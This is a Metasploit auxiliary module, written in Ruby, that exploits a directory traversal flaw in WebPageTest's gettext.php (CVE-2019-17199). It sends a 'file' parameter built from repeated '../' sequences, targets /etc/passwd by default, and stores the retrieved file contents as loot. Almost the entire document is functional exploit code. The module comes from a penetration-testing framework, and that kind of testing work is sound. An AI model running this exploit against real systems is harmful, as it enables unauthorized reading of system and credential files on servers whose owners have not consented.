WebPageTest Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebPageTest Directory Traversal',
        'Description' => %q{
          This module exploits a directory traversal vulnerability found in WebPageTest.
          Due to the way the gettext.php script handles the 'file' parameter, it is possible
          to read a file outside the www directory.
        },
        'References' => [
          ['CVE', '2019-17199'],
          ['EDB', '19790'],
          ['OSVDB', '83817']
        ],
        'Author' => [
          'dun', # Discovery, PoC
          'sinn3r' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-07-13',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),
        OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
      ]
    )
  end

  def run_host(ip)
    file = (datastore['FILE'][0, 1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
    traverse = "../" * datastore['DEPTH']
    uri = normalize_uri(target_uri.path)
    base = File.dirname("#{uri}/.")

    print_status("Requesting: #{file} - #{rhost}")
    res = send_request_cgi({
      'uri' => "#{base}/gettext.php",
      'vars_get' => { 'file' => "#{traverse}#{file}" }
    })

    if not res
      print_error("No response from server.")
      return
    end

    if res.code != 200
      print_error("Server returned a non-200 response (body will not be saved):")
      print_line(res.to_s)
      return
    end

    vprint_line(res.body)
    p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
    print_good("File saved as: #{p}")
  end
end